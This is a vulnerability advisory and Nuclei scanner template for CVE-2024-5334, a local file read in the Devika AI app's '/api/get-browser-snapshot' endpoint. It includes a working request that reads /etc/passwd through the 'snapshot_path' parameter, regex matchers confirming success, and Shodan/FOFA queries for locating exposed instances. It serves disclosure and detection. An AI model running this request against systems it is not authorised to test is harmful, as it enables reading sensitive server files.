A local file read vulnerability exists in the stitionai/devika repository, affecting the latest version. The vulnerability is due to improper handling of the 'snapshot_path' parameter in the '/api/get-browser-snapshot' endpoint. An attacker can exploit this vulnerability by crafting a request with a malicious 'snapshot_path' parameter, leading to arbitrary file read from the system. This issue impacts the security of the application by allowing unauthorized access to sensitive files on the server.
PoC代码[已公开]
id: CVE-2024-5334
info:
name: Devika - Local File Inclusion
author: nechyo,nukunga,harksu,olfloralo,gy741
severity: high
description: |
A local file read vulnerability exists in the stitionai/devika repository, affecting the latest version. The vulnerability is due to improper handling of the 'snapshot_path' parameter in the '/api/get-browser-snapshot' endpoint. An attacker can exploit this vulnerability by crafting a request with a malicious 'snapshot_path' parameter, leading to arbitrary file read from the system. This issue impacts the security of the application by allowing unauthorized access to sensitive files on the server.
impact: |
Successful exploitation could lead to unauthorized access to sensitive files and data.
remediation: |
Ensure input validation is implemented to prevent malicious file inclusions and use whitelists for allowed file paths.
reference:
- https://huntr.com/bounties/7eec128b-1bf5-4922-a95c-551ad3695cf6
- https://github.com/stitionai/devika/commit/6acce21fb08c3d1123ef05df6a33912bf0ee77c2
- https://nvd.nist.gov/vuln/detail/CVE-2024-5334
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2024-5334
cwe-id: CWE-73
epss-score: 0.5433
epss-percentile: 0.97946
metadata:
max-request: 1
shodan-query: title:"Devika AI"
fofa-query: title="Devika AI"
tags: cve,cve2024,devika-ai,lfi,vkev
http:
- raw:
- |
GET /api/get-browser-snapshot?snapshot_path=/etc/passwd HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: regex
part: body
regex:
- "root:.*:0:0:"
- type: word
part: header
words:
- "attachment; filename=passwd"
- "application/octet-stream"
condition: and
- type: status
status:
- 200
# digest: 4a0a004730450221008ed07962a37c0240a5063bdd6914284c476b98f68dc6f78fb8c90070adcd425202201ff30792d4aa30381b0e4fe74a2bb3a9a1ad8832eb3c051f2291f45c5ae2c2d2:922c64590222798bb761d5b6d8e72950